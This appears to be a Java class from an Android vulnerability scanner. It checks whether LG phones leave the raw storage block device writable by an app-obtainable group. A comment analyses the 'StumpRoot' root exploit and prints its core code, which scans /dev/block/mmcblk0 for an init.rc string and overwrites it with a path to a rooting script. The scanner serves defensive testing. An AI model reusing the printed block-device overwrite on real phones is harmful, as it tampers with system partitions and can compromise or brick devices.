package fuzion24.device.vulnerability.vulnerabilities.system; import android.content.Context; import android.os.Build; import android.util.Log; import fuzion24.device.vulnerability.util.CPUArch; import fuzion24.device.vulnerability.vulnerabilities.VulnerabilityTest; import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.InputStreamReader; import java.io.OutputStreamWriter; import java.util.ArrayList; import java.util.List; /* [StumpRoot](http://forum.xda-developers.com/lg-g3/orig-development/root-stump-root-lg-g3-sprint-verizon-t2850906): A root exploit for LG G3 (device capability [here](https://docs.google.com/spreadsheets/d/1hs0qlcGP80gl9wC0r9bs0AWMD-1D9iGgC9ulCG9roMs/edit#gid=0)). This application uses some interesting obfuscation. They reflect every method call made with strings that are ciphered using some simple xor cipher. There are two dexfiles in embedded in the .APK the first dexfile contains some encryption keys to decrypt the second (this was a bit tricky to figure out). The second dex file is the actual payload. All the strings in all the .dex files are ciphered. ### The Exploit After talking it over a bit with @giantpune it seems that LG left their mmcblk0 accessible to applications. It is still not clear whether this block was left world writable/readable or it is owned by a group that an app can put it self in by requesting a permission. I do not have an LG phone to test this, but can be resolved very quickly once we have a device to test with. The approach they take in exploiting this is searching through the mmc block for a string they know appears in an init.rc script. When they find this string, they are replace it with a call to a shell script that the app has written that roots the phone. *edit* ``` ls -l /dev/block/mmcblk0 brwxrwx--- root lg_fota 179, 0 1970-01-30 00:41 mmcblk0 ``` ``` com.lge.fota.xml-<?xml version="1.0" encoding="utf-8"?> com.lge.fota.xml-<permissions> com.lge.fota.xml- <permission name="com.lge.permission.ACCESS_LGFOTA" > com.lge.fota.xml: <group gid="lg_fota" /> com.lge.fota.xml- </permission> com.lge.fota.xml- com.lge.fota.xml- <library name="com.lge.fota" com.lge.fota.xml- file="/system/framework/com.lge.fota.jar"/> com.lge.fota.xml- com.lge.fota.xml-</permissions> ``` You need the ```com.lge.permission.ACCESS_LGFOTA``` to put you into the lg_fota group in order to be able to r/w the block device The bulk of the exploit is pretty much this: ```java String initrcString = "#2012-03-06 seongmook.yim(seongmook.yim@lge.com) [P6/MDMBSP] ADD LGODL [END]"; String installPayload = "/data/data/com.stump/files/install.sh" RandomAccessFile mmcBlock = new RandomAccessFile("/dev/block/mmcblk0", "rw"); byte[] initrcFingerprint = initrcString.getBytes(); byte[] scanBuffer = new byte[initrcFingerprint.length]; for(int i = arg11 - 10000; i <= arg11 + 10000; ++i) { mmcBlock.seek(i); mmcBlock.read(scanBuffer); if(Arrays.equals(initrcFingerprint, scanBuffer)) { mmcBlock.seek(i); mmcBlock.write(installPayload.getBytes()); mmcBlock.close(); return 0; } } mmcBlock.close(); ``` */ public class StumpRoot implements VulnerabilityTest { @Override public List<CPUArch> getSupportedArchitectures() { ArrayList<CPUArch> archs = new ArrayList<>(); archs.add(CPUArch.ALL); return archs; } @Override public String getCVEorID() { return "StumpRoot"; } @Override public boolean isVulnerable(Context context) throws Exception { return isLGPhone() && MMCPermissionsAreIncorrect(); } private boolean MMCPermissionsAreIncorrect() throws Exception{ String mmcBlk0Path = "/dev/block/mmcblk0"; FileInfo mmcBlk0FileInfo = getFileInfo(mmcBlk0Path); return mmcBlk0FileInfo.group.equals("lg_fota"); } private boolean isLGPhone(){ return Build.MANUFACTURER.equals("LGE"); } //Don't use this for things where you don't control filename. private FileInfo getFileInfo(String filename) throws Exception { try { Process proc = Runtime.getRuntime().exec("ls -l " + filename); BufferedWriter out = new BufferedWriter(new OutputStreamWriter(proc.getOutputStream())); BufferedReader in = new BufferedReader(new InputStreamReader(proc.getInputStream())); String line = in.readLine(); FileInfo fi = createFileInfo(line.split("\\s+")); proc.waitFor(); in.close(); out.close(); return fi; } catch (Exception e) { e.printStackTrace(); } return null; } private static FileInfo createFileInfo(String... args) { FileInfo fi = null; Log.d("VULN_TEST", "ARGS len: " + args.length); if(args.length == 6) { fi = new FileInfo(args[0],args[1],args[2],args[3] +" "+ args[4],args[5]); } else if(args.length == 7) { fi = new FileInfo(args[0],args[1],args[2],args[3],args[4] +" "+ args[5],args[6]); } else if (args.length == 8) { fi = new FileInfo(args[0], args[1], args[2], args[4], args[5], args[7]); } return fi; } private static class FileInfo { private String permissions; private String owner; private String group; private String size; private String date; private String fileName; private FileInfo(String permissions, String owner, String group, String size, String date, String fileName) { this.permissions = permissions; this.owner = owner; this.group = group; this.size = size; this.date = date; this.fileName = fileName; } private FileInfo(String permissions, String owner, String group, String date, String fileName) { this.permissions = permissions; this.owner = owner; this.group = group; this.date = date; this.fileName = fileName; } } }